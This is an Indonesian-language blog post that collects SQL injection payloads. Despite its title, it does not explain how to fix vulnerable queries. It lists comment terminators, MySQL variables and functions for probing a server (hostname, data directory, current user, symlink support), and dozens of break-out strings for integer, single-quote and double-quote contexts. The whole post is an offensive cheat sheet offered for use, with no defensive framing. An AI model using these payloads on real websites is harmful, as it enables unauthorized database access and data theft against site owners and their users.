--> Skip to main content

Fix SQL Injection Query (Collection)

Kali ini gw mau sharing artikel tentang Fix SQL Injection Query.

Berikut collection querynya sebagai berikut ini,

Comment Name
-- : MySQL Linux Style
--+ : MySQL Windows Style
# : Hash (URL encode while use)
--+- : SQL Comment
; : Null Byte
` : Backtick

Variable/Function Output
@@hostname : Current Hostname
@@tmpdir : Tept Directory
@@datadir : Data Directory
@@version : Version of DB
@@basedir : Base Directory
user() : Current User
database() : Current Database
version() : Version
schema() : current Database
UUID() : System UUID key
current_user() : Current User
current_user : Current User
system_user() : Current Sustem user
session_user() : Session user
@@GLOBAL.have_symlink : Check if Symlink Enabled or Disabled
@@GLOBAL.have_ssl : Check if it have ssl or n

integer based
--
-- -
--+-
)--
)-- -
)--+-
))--
))-- -
))--+-
;
) ;
));
%23
%60
%90
and 1=1
and '1'='1
and (1)=(1
php?id=(1) -- -

string based
'--+-
')-- -
')--+-
'))-- -
'))--+-
';
');
'));
'%23
'%60
'%90
' and 1=1
' and '1'='1
' and (1)=(1
php?id=(1') -- -

string based double quotes
"-- -
"--+-
"%23
")-- -
")--+-
"))--+-
";
") ;
"));
"%60
"%90
" and 1=1
" and '1'='1
" and (1)=(1
php?id=(1") -- -

Sekian dari gw, semoga bermanfaat.
Comment Policy: Silahkan tuliskan komentar Anda yang sesuai dengan topik postingan halaman ini. Komentar yang berisi tautan tidak akan ditampilkan sebelum disetujui.
Buka Komentar
Tutup Komentar